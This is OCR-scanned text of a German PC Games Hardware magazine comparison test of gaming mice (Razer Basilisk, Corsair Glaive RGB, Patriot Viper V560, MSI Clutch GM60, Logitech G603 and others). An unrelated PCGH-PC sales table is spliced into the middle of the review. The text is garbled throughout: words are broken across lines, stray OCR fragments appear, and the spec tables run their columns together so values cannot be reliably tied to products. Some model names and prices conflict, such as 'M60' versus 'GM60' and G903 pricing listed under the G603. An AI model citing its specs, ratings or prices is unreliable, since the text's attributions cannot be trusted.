Grip. MSI geht bei der Clutch M60 noch einen Schritt weiter: Je zwei Seitenteile und 
eine wechselbare Oberschale mit kürzerem Heck ermöglichen eine an die Form und 
Größe der Hand sowie den Griffstil angepasste Ergonomie für Rechts- und Links- 
händer. Patriot setzt bei der Viper V560 auf je ein Seitenteil für den Claw- und den 
Palm-Grip sowie die Möglichkeit, das Gewicht der Maus verändern zu können. 


Corsair Glaive RGB (verschiedene Daumenmulden) 


MSI Clutch M60 (je zwei verschiedene Seitenteile und Oberschalen) 
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Wie bei Razer üblich, fällt der 
Druckpunkt der beiden Haupt- und 
Seitentasten sehr direkt, knackig 
und leichtgängig aus. Die Positio- 
nierung des für einen Sniper-Mo- 
dus, eine Push-to-Talk-Funktion 
oder eine offene Visierung nutz- 
baren Clutchknopfs ist gelungen 
und kollidiert dank der zwei ver- 
schieden langen Metallschalter 
auch nicht mit der Daumenspitze. 
Gutes gibt es ebenso vom per Inf- 
rarot-LED abtastenden 5G-Sensor 
zu berichten. Er reagiert präzise 
und setzt auch schnelle Richtungs- 
änderungen direkt und ohne Ver- 
zögerung um. An die sehr hohe 
Empfindlichkeit bei 16.000-Dpi-Ab- 
tastung muss man sich allerdings 
erst gewöhnen. 


Corsair Glaive RGB: Komfortable 
und sehr ordentlich bestückte Spie- 
lermaus für jeden Griffstil. Corsairs 
neuer Gaming-Nager macht nicht 
nur mit seinem ungewöhnlichen, 
leicht futuristisch wirkenden Look 
auf sich aufmerksam. Die mit einer 
Drei-Zonen-RGB-Beleuchtung ver- 
sehene Glaive RGB hat auch eine 
Ausstattung im Angebot, deren 
Highlight sicher die drei verschie- 
denen, austauschbaren Daumen- 
griffe sind (siehe links). Diese er- 
möglichen sowohl dem Palm- als 
auch dem Claw-Grip-Spieler, die 
Ergonomie zu optimieren und für 
perfekte Griffigkeit zu sorgen, da 
zwei der drei magnetisch ando- 
ckenden Daumengriffe über eine 
Gummierung verfügen. Wie von 
Corsair gewohnt, lässt sich die 
Beleuchtung der Glaive RGB in- 


dividualisieren, indem man jeder 
Beleuchtungszone an Logo, Seiten- 
leiste und Front eines der vier vor- 
definierten Profile zuordnet. Wer 
will, kann aber auch seine ganz 
persönlichen Farben für die drei 
beleuchteten Bereiche wählen. 
Hierfür steht in der sehr umfang- 
reichen CUE-Engine-Software die 
Option „Beleuchtung“ bereit. 


Leider ist Corsairs Software immer 
noch sehr sperrig und keinesfalls 
intuitiv nutzbar, sodass die Be- 
leuchtungsprogrammierung und 
die Tasten-Makro-Zuordnung zum 
Geduldsspiel wird. Die Profilver- 
waltung ist dagegen wesentlich 
zugänglicher und auch die Ein- 
stellungen für die Hubhöhe, das 
Angle-Snapping (Eckenglättung) 
und die Untergrundkalibrierung 
sind schnell gefunden. Dank des 
internen Speichers (fünf Profile 
speicherbar) lassen sich die per 
CUE getätigten Einstellungen auch 
an PCs ohne die Software aufrufen. 


Zur durch die wechselbaren Dau- 
mengriffe garantierten optimalen 
Ergonomie kommen sehr knackige, 
direkte und leichtgängige Druck- 
punkte für die Haupttasten sowie 
eine sehr gute Erreichbarkeit aller 
Knöpfe. Beim Sensor greift Cor- 
sair mit dem Pixart PMW 3367 auf 
ein Modell zurück, das den Unter- 
grund per Infrarot-LED scannt und 
dessen maximale Abtastrate bei 
16.000 Dpi liegt. An das Arbeiten 
und Spielen mit der maximalen 
Dpi-Rate muss man sich allerdings 
erst gewöhnen. Die Glaive RGB re- 


Auf der Stufe „LO” (siehe Bild rechts) reicht bei Logitechs G603 auch eine AA-Batte- 
rie für langen Spielspaß. Der zweite Stromgeber lässt sich als Zusatzgewicht nutzen. 
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PCGH-PCs im Überblick 


Härdware 


i7-7820X). 


In dieser Ausgabe stellen wir Ihnen die wichtigsten 
PCGH-Rechner im Sortiment kurz vor. 


er in dieser Ausgabe auf neue 
WT: mit Coffee-Lake-Archi- 
tektur gehofft hat, den müssen wir leider 
enttàuschen, da der Core i5-8600K und 
der Core i7-8700K nicht lieferbar sind. 
Daher bleibt unser aktuelles Sortiment 
noch so bestehen. Gerade der Premium- 
PC dürfte für preisbewusste Käufer mit 
hohen 3D-Ansprüchen interessant sein, 
zumal hier der Fokus auf einer schnellen 
Grafikkarte liegt und eine Geforce GTX 


1080 verbaut wird. Der Extreme-PC ist 
dagegen für Käufer interessant, die sich 
auch einen schnellen Prozessor wün- 
schen, da hier ein i7-7700K zum Einsatz 
kommt. Für gehobene Ansprüche sind 
dagegen der Ultimate-, Epic- und der 
Maximum-PC. Alle diese Rechner sind 
mit einer GTX 1080 Ti ausgestattet und 
unterscheiden sich vor allem beim Pro- 
zessor (i7-7800X, Ryzen 7 1800X oder 


(dw) 


Hardware 


Offizielles PCGH-Produkt 


Hersteller/Bezugsquelle 


Alternate (www.pcgh.de/alternate) 


PC 
GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Ultima 
GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-Maximum-PC 


Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/premium-pc 


www.pcgh.de/extreme-pc 


www.pcgh.de/ultimate2-pc 


www.pcgh.de/ryzen1800x-pc 


www.pcgh.de/maximum-pc 


Prozessor Intel Core i5-7500 (Sockel 1151) | Intel Core i7-7700K (Sockel 1151) | Intel Core i7-7800X (Sockel 2066) | AMD Ryzen 7 1800X (Sockel АМА) | Intel Core i7-7820X (Sockel 2066) 
Grafikkarte Palit Geforce GTX 1080 Dual OC Asus GTX 1080 Strix Advanced |Gigabyte Aorus Geforce GTX 1080 Til Asus Geforce GTX 1080 Ti Strix | Gigabyte Aorus Geforce GTX 1080 Ti 
Mainboard MSI B250 PC Mate Asus Prime Z270-A Asus TUF X299 MARK 2 Asus Crosshair VI Hero Asus TUF X299 MARK 2 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


1.050-GB-SSD (Crucial MX300) 


1 TB + 512 GB M.2 (Crucial/Samsung) 


HDD-Laufwerk 


1.000-GB-HDD (Seagate Barracuda) 


3.000-GB-HDD (Seagate/WD Red) 


4.000-GB-HDD (Seagate Barracuda) 


1 TB + 512 GB M.2 (Crucial/Samsung) 


32 GB DDR4-2666 (Ballistix) 


Speicher 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 

Netzteil Be quiet Pure Power 10 400W Seasonic G-Series 550W PCGH-Ed. Seasonic Focus Plus 750 Gold Seasonic G-Series 550W PCGH-Ed. Seasonic Focus Plus 750 Gold 
CPU-Kühler EKL Brocken 2 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 5 PCGH-Edition 
Gehäuse Alternate-Seriengehäuse Fractal Design R5 PCGH-Edition Alternate-Seriengehäuse Fractal Design R5 PCGH-Edition Alternate-Seriengehäuse 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 
Leistung 


2 x Be quiet 140 mm, WLAN-Karte 


3 x Lüfter, WLAN-Karte 


2 x Be quiet 140 mm, WLAN-Karte 


3 x Fractal-Lüfter, WLAN onboard 


2 x Be quiet 140 mm, WLAN-Karte 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Pro) 


Lautstárke 2D (0,5 m) 0,4 Sone/24 dB(A) 0,2 Sone/21 dB(A) 0,4 Sone/23 dB(A) 0,2 Sone/19 dB(A) 0,4 Sone/23 dB(A) 
Lautstárke 3D (0,5 m) 1,3 Sone/32 dB(A) 1,0 Sone/30 dB(A) 1,3 Sone/31 dB(A) 0,6 Sone/26 dB(A) 1,2 Sone/31 dB(A) 
Leistungsaufnahme 2D/3D 36 Watt/252 Watt 43 Watt/289 Watt 68 Watt/371 Watt 56 Watt/330 Watt 66 Watt/379 Watt 
3D Mark (Fire Strike) 4.905 (U), 8.872 (E), 15.154 (S) 5.378 (U), 10.025 (E), 18.505 (S) | 6.952 (U), 12.930 (E), 19.075 (S) | 7.134 (U), 13.276 (Е), 19.887 (S) | 7.005 (U), 13.264 (E), 21.677 (S) 
Crysis 3/The Witcher 3 84 Fps/81 Fps 100 Fps/84 Fps 128 Fps/107 Fps 121 Fps/106 Fps 128 Fps/108 Fps 
Stalker: Call of Pripyat 189 Fps (Sun Shafts, Ultra, 4x AA) | 228 Fps (Sun Shafts, Ultra, 4x АА) | 215 Fps (Sun Shafts, Ultra, 4x AA) | 183 Fps (Sun Shafts, Ultra, 4x AA) | 228 Fps (Sun Shafts, Ultra, 4x AA) 
Aliens vs Predator Bench. 297 Fps (1.920 x 1.080) 307 Fps (1.920 x 1.080) 374 Fps (1.920 x 1.080) 411 Fps (1.920 x 1.080) 401 Fps (1.920 x 1.080) 
Cinebench R11.5 x64 (CPU) 6,91 Punkte 10,88 Punkte 14,27 Punkte 17,87 Punkte 18,99 Punkte 
PREI 
En €1.429,- €1.999,- €2.529,- €2.999,- €2.999,- 
PREIS €1.529,- €2.099,- €2.669,- €3.149,- €3.149,- 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


© Preis-Leistungs-Verháltnis 
© Geforce GTX 1080 
© Kleine SSD 


© Sehr schnelle Geforce GTX 1080 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


€ Schnelle 6-Kern-CPU 
© Sehr schnelle GTX 1080 Ti 
© Hoher Stromverbrauch 


© 8-Kern-CPU extrem schnell 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


© 8-Kern-CPU extrem schnell 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Stromverbrauch 


PC ist sofort einsatzbereit. 


* Preiserfassung und Produktdaten vom 12.10.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 
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agiert dann sehr sensibel - jedoch 
nicht unpräzise - und zeigt trotz- 
dem keine Aussetzer. 


Tt esports Ventus X RGB: Hand- 
schmeichler mit luftigem Heck und 
sehr geringer Hubhöhe. Die Ventus 
X RGB ist der bunt beleuchtete 
Nachfolger der von uns in Ausgabe 
12/2015 getesteten Ventus X. Ther- 
maltake respektive Tt esports über- 
nimmt hier sowohl die ergonomi- 
sche Form des Vorgängers als auch 
dessen offene Wabengitterstruktur 
am Heck, bei der die Designermaus 
Level 10M Hybrid offensichtlich 
Pate gestanden hat. Mit dem Pixart 
PMW 3360 hat bei der Sensortech- 
nik allerdings ein Wechsel von der 
Abtastung per Laser (Avago ADNS- 
9500) zur Infrarot-LED stattgefun- 
den. Gleichzeitig hat Tt esports 
die Abtastrate mehr als verdoppelt, 
denn der optische Sensor der Ven- 
tus X RGB tastet mit bis zu 12.000 
Dpi ab. Den internen Speicher hat 
man bei der VentusXRGB ebenfalls 
erhöht, so stehen jetzt 256 Kilobyte 
bereit. Hier können alle Einstel- 
lungen, wie Makros (maximal 23 
Zeichen pro Aufnahme möglich), 
Tastenbelegungen oder gewählte 
RGB-Beleuchtungseffekte für fünf 
Profile gespeichert werden. 


Dabei hilft der neue ARM-Prozes- 
sor, der es ebenfalls ermöglicht, in 
der anwenderfreundlichen, aber 
nicht übermäßig umfangreichen 
Software die Lift-off-Distanz zu mi- 


nimieren, das Angle Snapping zu 
reduzieren, die Polling Rate fest- 
zulegen und sogar die Reaktions- 


Logitechs 
Stromsparer 
nimmt per 2,4-GHz- 
Band und Bluetooth mit 
dem PC Kontakt auf. 
Den Knopf dafür findet 
man am Mausboden. 
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zeit aller Tasten zu verstellen. Ein 
Gewichtsystem, mit dem man den 
Rechtshändernager um dreimal 4,5 
Gramm schwerer machen kann, ist 
ebenfalls mit an Bord. 


Alleinstellungsmerkmal der Tt 
esports Ventus X RGB ist das offene 
Heck, dessen Wabengitterstruktur 
vor allem die Schweißbildung in 
der Handinnenfläche beim Palm- 
Grip verhindern soll. Doch auch 
ohne dieses Extra liegt die Ventus 
X RGB unabhängig vom Griffstil 
sehr gut in der Hand und die bei- 
den gummierten Griffmulden ge- 
ben dem Daumen sowie dem klei- 
nen und dem Ringfinger perfekten 
Halt. Dazu kommen dank Omron- 
Schaltern gute bis sehr gute Druck- 
punkte für alle Tasten. Der opti- 
sche IR-Sensor der Ventus X RGB 
arbeitet nicht nur mit einer opti- 
malen Prázision und ohne Latenz, 
er bietet trotz seiner optischen Ab- 
tastart eine sehr geringe Hubhóhe 
von unter einem Millimeter. 


Patriot Viper V560: Top ausgestat- 
teter Spartipp mit wechselbarer 
Fingerablage. Vor Kurzem ist auch 
Speicherspezialist Patriot in den 
Markt für Gaming-Peripherie ein- 
gestiegen und die Viper V560 ist 
das günstigste Modell der hausei- 
genen Mauskollektion. Wer aber 
denkt, für 35 Euro bekommt er nur 
einen Nager mit Grundausstattung, 
der liegt vóllig falsch. Die Liste der 
Extras ist lang und die Viper V560 
hat mehr zu bieten als nur die in 
Abhängigkeit vom Griffstil wech- 
selbaren Seitenteile sowie sechs 


Die Seitentasten der Speedlink Omnivi Core sind so angeordnet, dass der Daumen im Zen- 
trum abgelegt werden kann. Dank ihres harten Druckpunkts lóst man sie nur selten aus. 


Zusatzgewichte à 4,5 Gramm. Die- 
se findet man in einer Schublade, 
die zum Vorschein kommt, wenn 
man die seitlichen Fingerablagen 
demontiert. 


Insgesamt sieben Tasten stehen 
bereit, von denen fünf frei pro- 
grammierbar sind. Bei den beiden 
festgelegten Tasten handelt es sich 
um den Dpi-Schalter (vier Stufen 
per Software festlegbar) 
den Mode-Knopf, mit dem man 
zwischen den fünf móglichen Pro- 
filen wechselt. Für jedes Profil ist 
eine andere RGB-Beleuchtungsfar- 
be wählbar, die dann vorne und 
hinten am Boden sowie an der 


sowie 


runden Diode vor den vier Dpi- 
LEDs pulsierend angezeigt wird. 
Der Lasersensor, ein auf 12.000 


Dpi aufgebohrter Avago ADNS- 
9800, bekommt Hilfe von einem 
Mikroprozessor und der interne 
Speicher nimmt die für jedes Profil 
getätigten Einstellungen und Ma- 
kros auf. Die Makroaufzeichnung 
und Tastenzuordnung gelingt mit 
der umfangreichen Software sehr 
einfach. Eine Besonderheit bei der 
Viper V560 ist die Móglichkeit, das 
Angle Snapping oder die Minimie- 
rung der Hubhóhe auf eine der Ext- 
ratasten zu legen. Eine Polling Rate 
von 1.000 Hz, runde Mausgleiter 
aus Keramik sowie ein Vier-Wege- 
Scrollrad runden die gute bis sehr 
gute Ausstattung ab. 


Obwohl man mit den beiden Sei- 
tenteilen die Fingerablage dem 
Griffstil entsprechend wählen 


ventuc - 


re cc GI É 


ee 


Neben der Viper V560 von Patriot ist die Tt esports Ventus X RGB die einzige Maus im Testfeld, die noch mit einem Gewichtsystem (3 
x 4,5 Gramm) ausgestattet ist. Das offene Heck mit Wabengitterstruktur soll die SchweiBbildung in der Handinnenflàche verringern. 


www.pcgameshardware.de 


Vergleichstest: Spielermäuse | INFRASTRUKTUR 


kann, ist die Ergonomie nicht ganz 
perfekt. Sowohl das Claw- als auch 
Grip-Seitenteil könnten einen Tick 
breiter sein, sodass Ring- und klei- 
ner Finger dort mit maximalem 
Komfort aufliegen. Die Leistung 
des Lasersensors gibt dagegen kei- 
nen Anlass zur Beanstandung, denn 
er tastet auch mit den hochgezüch- 
teten 12.000 Dpi präzise, verzöge- 
rungsfrei und mit einer niedrigen 
Hubhöhe von ca. 1,5 mm ab. 


MSI Clutch GM60: Gamer-Maus mit 
anpassbarer Ergonomie und viel 
Zubehör. Der für Mainboards und 
Grafikkarten bekannte Hersteller 
MSI mischt jetzt auch im Periphe- 
riegeschäft mit und präsentiert mit 
der Clutch GM60 das verdrahtete 
Premiummodell seines Maus-Port- 
folios. Das Hauptausstattungsmerk- 
mal erkennt man sofort beim Öff- 
nen des Kartons: Im linken Teil der 
ausklappbaren Verpackung findet 
man zwei Seitenteilpärchen mit un- 
terschiedlich großen Ablagen für 
den Daumen respektive den Ring- 
finger sowie eine zweite Oberscha- 
le, deren Heck etwas kürzer und 
flacher ausfällt. Die Anbauteile do- 
cken magnetisch am Metallchassis 
respektive an vier um die Heck-LED 
verteilten Punkten an und ermögli- 
chen eine an die Form und Größe 
der Hand sowie den Griffstil ange- 
passte Ergonomie, unabhängig ob 
der Nutzer Rechts- oder Linkshän- 
der ist. 


Ein weiteres Highlight der Clutch 
GM60 ist ihre RGB-Beleuchtung, 
die per Mystic-Light-Software mit 
den Lichtspielereien anderer MSI- 
Hardware gekoppelt werden kann. 
Die individuelle Farbgebung der je- 
weils seitlich der beiden Haupttas- 
ten positionierten vier Lichtspen- 
der sowie des Hecklogos lässt sich 
jedoch sehr einfach auch mit dem 
MSI Gaming Center einrichten. 
Hier findet man außerdem die 
Optionen zum Einstellen der vier 
Dpi-Stufen, des Angle Snappings, 
der Lift-off Distanz und der Polling 
Rate von 3.000 Hz. Der Speicher 
nimmt Makros und Beleuchtungs- 
profile auf und ein zweites, einen 
Meter langes Kabel mit glattem 
Kunststoff gehören auch zur bes- 
ten Ausstattung im Testfeld. 


Mit den modularen Seitenteilen 


und den Oberschalen lässt sich 
die Ergonomie der MSI Clutch 


www.pcgameshardware.de 


GM60 sehr gut anpassen. Für den 
perfekten Palm Grip jedoch ist die 
Oberschale zu sehr gewölbt, sodass 
nur die hintere Hälfte der Handin- 
nenfliche auf dem Mausrücken 
Dem Claw-Grip-Spieler 
dagegen werden die zwar mit einer 
Struktur versehenen, aber nicht 
gummierten Innenteile der Seiten- 
flächen auf Dauer zu rutschig. In 
puncto Sensorleistung gibt sich der 
schon etwas ältere, per Infrarot- 
LED abtastende Pixart PMW 3330 
keine Blöße und reagiert auch bei 
10.300 Dpi, die vermutlich per 
ARM-CPU interpoliert werden, prä- 
zise und verzögerungsfrei. (Lift-off- 
Distanz: 1,2 mm). 


aufliegt. 


Logitech G603 Lightspeed Wirel- 
ess Gaming Mouse: Drahtloser 
Stromsparer mit überzeugender 
Leistung. Energieeffizienz wird 
bei der mit der neuen Lightspeed- 
Technologie arbeitenden G603, 
welche Logitech zusammen mit 
der drahtlosen G613-Tastatur (ѕіе- 
he Vergleichstest Tastaturen S. 94 
ff.) gerade auf den Markt gebracht 
hat, großgeschrieben. Und damit 
Akkulaufzeiten von 500 Stunden 
bei nicht unterbrochener Gaming- 
leistung (Schaltstufe: HI, 1 ms Re- 
aktionszeit) kein bloßes Lippen- 
bekenntnis sind, verwendet die 
Logitech G603 Lightspeed Wireless 
Gaming-Maus den neuen optischen 
HERO-Sensor (12.000 Dpi), den die 
Schweizer in ihrem eigenen Labor 
in Lausanne entwickelt haben. Da- 
bei ist HERO ein Akronym für High 
Efficiency Rated Optical Sensor 
und wie der Name andeutet, soll 
der neue Fühler besonders ener- 
gieeffizient arbeiten. 


Die Ausstattung verdeutlicht, dass 
sich Logitech bei der G603 voll 
auf eine stromsparende Sensorleis- 
tung konzentriert. Von der kleinen 
LED-Diode zum Anzeigen der per 
Schalter gewählten Dpi-Stufe abge- 
sehen, gibt es keine Beleuchtung. 
Die Software fällt relativ mager 
aus: Optionen zur Lift-off-Distanz, 
der Pfadbegradigung und Unter- 
grundkalibrierung fehlen, und 
das obwohl die interne ARM-CPU 
dies möglich machen würde. Ein 
interner Speicher für ein Profil 
und lange Makros ist jedoch vor- 
handen und eine Verlängerung für 
den 2,4-GHz-Nano-Empfänger liegt 
auch mit in der Verpackung. Dank 
ihrer zweifachen Konnektivität 


as 
< 


Zwei gummierte Griffmulden garantieren bei der der Tt esports Ventus X RGB eine sehr 
gute Griffigkeit. Die kommt vor allem den Claw- oder Fingertip-Grip-Spielern zugute. 


Für den Clutchknopf der Razer Basilisk 
stehen zwei verschieden lange Schalter zur 


Verfügung. Wer das Feature nicht nutzen 
möchte, kann den Montageplatz abdecken. 


A QUIC aa 


Mit einem kleinen Rädchen auf der Unterseite der Basilik lässt sich der Widerstand des 
Mausrads stufenlos anpassen. Ebenfalls am Mausboden: der Knopf für den Profilwechsel. 
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kann man die G603 per Schalter 
auf dem Mausboden sogar für ei- 
nen Datenaustauch via Bluetooth- 
Verbindung fit machen. 


Da die G603 die Form, Tasten- 
anordnung und sogar alle Tas- 
tenschalter der G403/G703 erbt, 
bietet auch sie eine sehr gute Ergo- 
nomie für alle Griffstile, problem- 
los erreichbare Seitentasten und 
knackig direkte sowie leichtgängi- 
ge Tastendruckpunkte. Der neue 
HERO-Sensor reagiert gerade in 
hohen Dpi-Bereichen noch einen 
Tick präziser und weniger nervös 
als der von Logitech modifizierte 
Pixart PMW3366 der G903/G703. 
Die Lift-off-Distanz liegt bei niedri- 
gen 1,5 mm und wie von Logitech 
versprochen, arbeitet der optische 
Sensor auch ohne Glättung und Fil- 


SPIELERMÄUSE 


Auszug aus Testtabelle 
mit 24 Wertungskriterien 


Produkt Basilisk 


Hersteller/Vertrieb (Webseite) 


Razer (www.razerzone.com/de-de) 


terung, das bestätigt unser Test mit 
MS Paint. 


Fnatic Gear Clutch G1: Ergonomische 
Spielermaus mit Gamer-Grundaus- 
stattung. Bei der Entwicklung der 
Clutch G1 haben die Esports-Teams 
des Fnatic-Clans ihr Know-how 
beigesteuert, das wird an der Aus- 
stattung deutlich. Mit zwei für die 
Dpi- oder Profilumschaltung nutz- 
baren Tasten hinter dem mit einer 
sehr strammen Rasterung versehe- 
nen Scrollrad sowie zwei seitlichen 
Daumentasten konzentriert man 
sich bei der Anzahl der Knöpfe auf 
das Wesentliche. 


Die weiteren Features, welche 
Fnatic der Clutch G1 spendiert, 
gehören ebenfalls zu denen, die 
an keiner speziell für das Spielen 


am Rechner entwickelten Maus 
fehlen sollten. Der 256 Kilobyte 
große Speicher nimmt die für alle 
drei Profile getätigten Einstellun- 
gen sowie programmierten Mak- 
ros auf und eine ARM-CPU (Holtek 
HT68FB560) kümmert sich um 
die Steuerung der RGB-Beleuch- 
tung des gummierten Mausrads. 
Während für Lichtspielereien in 
der Software neben dem Custom- 
Modus noch fünf weitere Effekte 
bereitstehen, sucht man Einstellun- 
gen zum Angle Snapping, der Hub- 
höhe (Lift-off-Distanz) oder zur Un- 
tergrundkalibrierung vergeblich. 
Dafür geht das Aufzeichnen von 
Makros sehr einfach vonstatten 
und die Polling Rate lässt sich mit 
der nicht besonders umfangrei- 
chen Software auch bis auf 1.000 
Hz erhöhen. 


PREIS-LEISTUNGS-TIPP 


Basilisk 
Razer 


Hardware 


Glaive RGB 


Corsair (www.corsair.com) 


Ventus X RGB 
Tt esports (http://de.ttesports.com) 


Viper V560 


gem 


Patriot (www.patriotmemory.com) 


Bei der Ergonomie kann die Clutch 
G1 von Fnatic Gear voll punkten. 
Obwohl man bei der Formgebung 
an den Palm-Grip-Spieler als idea- 
len Nutzer der komplett mit einer 
Soft-Touch-Oberfläche versehenen 
Maus gedacht hat, ist die Clutch 
G1 auch für die Hand des Claw- 
oder Fingertip-Grip-Zockers ergo- 
nomisch. Die maximale Dpi-Rate 
des per Infrarot-LED abtastenden 
Pixart PMW 3310 fällt mit 5.000 
Dpi nicht besonders hoch aus, da- 
für überzeugt der optische Sensor 
mit einer sehr präzisen und verzö- 
gerungsfreien Abtastung - auch 
das bestätigt die Ausrichtung der 
Clutch G1 für das professionelle 
Spielen am PC. Zum Schluss noch 
ein Wort zu den Gleiteigenschaf- 
ten: Sollte die Clutch G1 wie bei 
uns anfänglich nur schwerfällig 


SPAR-TIPP 
V560 


Pariet 


гйшаге 


6903 Lightspeed + Powerplay 


Logitech (www.logitech.de) 


Preis/Preis-Leistung 


Ca. 70,- Euro/noch gut (2-) 


Ca. 75,- Euro/voll befriedigend (3+) 


Ca. 45,- Euro/voll gut (2+) 


Ca. 35,- Euro/noch sehr gut (1-) 


Ca. 135,- Euro (G903) + ca. 120 Euro 
(Powerplay-Pad)/befriedigend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1685902 


www.pcgh.de/preis/1619280 


www.pcgh.de/preis/1563168 


www.pcgh.de/preis/1539778 


www.pcgh.de/preis/1638563 (G903)/ 
www.pcgh.de/preis/1638522 (Pad) 


Bauart/Anschluss Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Drahtlos/USB (Induktionspad mit 
Empfänger) 

Empfohlener Spielstil Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense 

Ausstattung: 1,58 1,63 2,08 1,58 1,68 

Abtastung/Lasertyp Optisch (IR-LED)/5G-Sensor Optisch (IR-LED)/Pixart PMW 3367 Optisch (IR-LED)/Pixart PMW 3360 Optisch (Laser)/Avago ADNS-9800 Optisch (LED)/Überarbeiteter Pixart 


PMW3366 


Geeignet für/Gewicht/Verabeitung 


Rechtshänder/107 Gramm/sehr gut 


Rechtshänder/122 Gramm/sehr gut 


Anzahl Tasten 8 + Scrollrad 5 + Scrollrad 5 + Scrollrad 7 + Vier-Wege-Scrollrad 6, 8 oder 10 (individuell definierbar) + 
Vier-Wege-Scrollrad 

Maximale Auflösung 16.000 Dpi (+ Untergrundkalibierung) |16.000 Dpi (+ Untergrundkalibierung) | 12.000 Dpi 12.000 Dpi 12.000 Dpi (4- Untergrundkalibrierung) 

Kabellänge Ca. 200 cm Ca. 180 cm Ca. 180 cm Ca. 180 cm Ca. 180 cm (Anschluss Powerplay-Pad) 

Sonderausstattung Dpi-Umschaltung (5 Stufen, Dpi-Umschaltung mit LED-Anzeige Dpi-Umschaltung (fünf Stufen, Dpi-Umschaltung mit LED-Anzeige (vier | Drahtlos, sechs programmierbare 
100-Dpi-Schritte), ARM-CPU (Unter- (sechs Stufen, 1-Dpi-Schritte), drei ma- | 100-Dpi-Schritte), Gewichtssystem (3 x | Stufen, 50-Dpi-Schritte), Gewichtssystem | Sondertasten, Anzahl Sondertasten frei 
grundkalibrierung/Hubhóhe), Mausrad- |gnetisch andockende Daumenablagen |4,5 Gramm), ARM-CPU, Makrofunktion | (6 x 4,5 g), ARM-CPU, Makrofunktion, |konfigurierbar, Dpi-Umschaltung mit 
widerstand per Rädchen verstellbar, pro- | zum Wechseln, ARM-CPU, Makrofunkti- | (maximal 23 Zeichen), 256 КІВ Speicher, | Profilverwaltung mit Knopf zum Wech- | LED (5 Stufen), Makrofunktion (mit 
gammierbarer Clutchschalter, alle Tasten | on, Speicher für fünf Profile und Makros, | RGB-Beleuchtung (Mausrad und Heck- |seln, interner Speicher, Lift-off-Distanz | Speicher), Profilspeicherung, RGB-Be- 
frei programmierbar, Makrofunktion RGB Beleuchtung (3 Zonen: Frontbe- |logo getrennt/drei Beleuchtungseffekte | per Knopf minimierbar/Angle Snapping |leuchtung (Ein Farbwechsel- und ein 
mit Speicher, Speicher für fünf Profile — |reich, Logobericht und Lichtkante/vier | mit Geschwindigkeitsregler inklusive per Knopf an- und abschaltbar, RGB-Be- | Atmungsefekt für Dpi-Umschaltung und 
mit Umschaltknopf, RGB-Beleuchtung |Beleuchtungseffekte mit Modifikation), |permanenter Beleuchtung mit Farbwahl, | leuchtung (Boden und Profilanzeige/pro | Heck, Effekte nicht separat einstellbar), 
(Mausrad und Hecklogo/sieben Be- 1.000 Hz Polling Rate, Tragetasche für | 1.000 Hz Polling Rate, offenes Heck mit | Profil eine Beleuchtungsfarbe wählbar), | 1.000 Hz Polling Rate, Scrollrad-Raste- 
leuchtungseffekte mit Modifikationen | die Daumenpads Wabenstruktur 1.000 Hz Polling Rate, wechselbare Fin- | rung deaktivierbar 
wie Tempo inklusive permanenter gerablagen für Palm-/Claw-Grip, runde 
Beleuchtung mit Farbwahl, 1.000 Hz Keramik-Mausgleiter 
Polling Rate 

Eigenschaften: 1,30 1,70 1,35 1,60 1,65 


Rechtshänder/ca. 116 g bis 130 g/ 


Rechtshánder/130 bis 157 Gramm/gut 


Links- und Rechtshänder/ca. 111 g + 


sehr gut bis sehr gut 10 g/sehr gut 
Druckpunkte Haupt-/Sondertasten | Sehr gut/gut bis sehr gut Sehr gut/gut bis sehr gut Gut/gut bis sehr gut Sehr gut/gut bis sehr gut Sehr gut/sehr gut 
Druckpunkt/Rasterung Scrollrad |Gut/sehr gut (Widerstand anpassbar) | Gut/gut bis sehr gut Gut/seht gut Gut bis sehr gut/gut bis sehr gut Gut/befriedigend bis gut 


Funktionsumfang und Features 


Gut bis sehr gut/Lift-off-Distanz ver- Sehr gut/Lift-off-Distanz und Angle 


Gut bis sehr gut/Lift-off-Distanz, Angle 


Gut bis sehr gut/Angle Snapping de- 


Gut/Untergrundkalibrierung; aber Lift- 


Software stellbar, Untergrundkalibrierung, keine | Snapping verstellbar, Untergrundkali- | Snapping und Tastenreaktionszeit (But. |aktivierbar und Hubhóhe minimierbar —[off-Distanz und Angle Snapping nicht 
Option für Angle Snapping brierung (Beleuchtungsprogrammierung | ton Response Time) verstellbar, keine | (beides per Knopf möglich), keine Opti- [einstellbar 
und Tastenbelegungen umständlich) Untergrundkalibrierung on für die Untergrundkalibrierung 
Leistung: 1,11 1,11 1,21 1,46 1,11 
Ergonomie Sehr gut (alle Griffstile) Sehr Gut (alle Griffstile) Sehr gut (alle Griffstile) Gut bis sehr gut (alle Griffstile) hr gut (alle Griffstile) 
Präzision/1.000 Hz Polling Rate Sehr gut/ja, per Software Sehr gut/ja, per Software Sehr gut/ja, per Software Sehr gut/ja, per Software Sehr gut/ja, per Software 
Gleiteigenschaften Gut bis sehr gut Gut bis sehr gut Gut bis sehr gut Sehr gut Gut bis sehr gut 


